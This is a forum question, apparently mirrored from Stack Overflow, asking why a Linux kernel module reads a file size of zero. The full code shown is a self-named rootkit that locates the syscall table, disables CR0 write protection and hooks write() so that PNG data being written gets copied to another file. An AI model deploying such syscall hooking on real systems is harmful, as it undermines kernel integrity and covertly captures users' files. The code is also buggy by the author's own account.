Quantcast
Channel: Active questions tagged kernel - Stack Overflow
Viewing all articles
Browse latest Browse all 6333

(SOLVED) Is it impossible to get file information in kernel space?

$
0
0

I tried below's code to get user space's file size.
The kernel module opens user space's file by filp_open(), and get information.
In the new_write() function, I tried getting file's size by (struct file*)->f_inode->i_size, but couldn't get.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/namei.h>
#include <asm/current.h>
#include <asm/unistd.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#include <linux/delay.h>
#include <asm/paravirt.h>
#include <linux/slab.h>

MODULE_LICENSE( "GPL" );

unsigned long   **sys_call_table;

asmlinkage int ( *original_write ) ( unsigned int, const char __user *, size_t );

asmlinkage int new_write( unsigned int fd, const char __user *buf, size_t count )
{

  char signature[9];
  char test[9] = {0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a};

  if (count<8)
    return ( *original_write )( fd, buf, count );

  strncpy(signature, buf, 8);
  signature[8] = '\0';

  if (!strcmp(test, signature)) {
    struct file *orig=NULL, *new;
    struct fd f;
    struct kstat orig_stat;

    char *orig_data, *orig_path, *tmp;
    loff_t orig_size = 0;

    mm_segment_t old_fs = get_fs();   
    set_fs (KERNEL_DS);

    f = fdget(fd);

    tmp = (char *)__get_free_page(GFP_TEMPORARY);
    orig_path = d_path(&f.file->f_path, tmp, PAGE_SIZE);
    printk(KERN_DEBUG "file path: %s\n", orig_path);

    orig = filp_open(orig_path, O_RDWR, 0);
    if (IS_ERR(orig) || (orig == NULL))
        printk(KERN_DEBUG "file open error!!\n");
    else
        printk(KERN_DEBUG "file opened\n");

    printk(KERN_DEBUG "i_blocks: %u\n", orig->f_inode->i_blocks);
    printk(KERN_DEBUG "i_size: %lld\n", orig->f_inode->i_size);

    vfs_fstat(fd, &orig_stat);

    orig_size = vfs_llseek(orig, (off_t)0, SEEK_END);
    vfs_llseek(orig, 0, SEEK_SET);

    printk(KERN_DEBUG "orig_size: %lld\n", orig_size);

    orig_data = (char *)kmalloc(orig_size+1, GFP_KERNEL);
    kernel_read(orig, orig->f_pos, orig_data, 8);

    new = filp_open("test.png", O_WRONLY|O_CREAT|O_TRUNC, S_IWUSR);
    kernel_write(new, orig_data, 8, new->f_pos);
    vfs_fsync(new, 0);
    printk(KERN_DEBUG "PNG is copied! \n");

    kfree(orig_data);
    filp_close(orig, NULL);
    filp_close(new, NULL);

    set_fs (old_fs);
  }

  return ( *original_write )( fd, buf, count );
}

static unsigned long **aquire_sys_call_table( void )
{
  unsigned long int offset = PAGE_OFFSET;
  unsigned long **sct;

  while (offset < ULLONG_MAX) {
    sct = (unsigned long**)offset;

    if (sct[ __NR_close ] == ( unsigned long * ) sys_close)
      return sct;

    offset += sizeof(void *);
  }
  return NULL;
}

static void disable_page_protection(void)
{
  unsigned long value;
  asm volatile("mov %%cr0, %0" : "=r" (value));

  if (!(value & 0x00010000))
     return;

  asm volatile("mov %0, %%cr0" : : "r" (value & ~0x00010000));
}

static void enable_page_protection(void)
{
  unsigned long value;
  asm volatile("mov %%cr0, %0" : "=r" (value));

  if (value & 0x00010000)
     return;

  asm volatile("mov %0, %%cr0" : : "r" (value | 0x00010000));
}

static int __init rootkit_start(void)
{
  sys_call_table = aquire_sys_call_table();
  disable_page_protection();
  {
    original_write = (void*)sys_call_table[__NR_write];
    sys_call_table[__NR_write] = (unsigned long*)new_write;
  }
  enable_page_protection();
  return 0;
}

static void __exit rootkit_end(void)
{
  disable_page_protection();
  sys_call_table[__NR_write] = (unsigned long *)original_write;
  enable_page_protection();
}

module_init(rootkit_start);
module_exit(rootkit_end);

The result:

Result

At the result, the file was opened well. but the file's information was only returned 0. Plus, I adjusted kernel_read() and kernel_write()'s size argument to 8. And I opened newly created png file by hexedit, the values were not PNG's file signature, and it was changed every attempt.

I thought the file was already opened before using filp_open(), I hijacked write() system call.
Is this a cause? If so, How can I get the original file's data and size?


Viewing all articles
Browse latest Browse all 6333

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>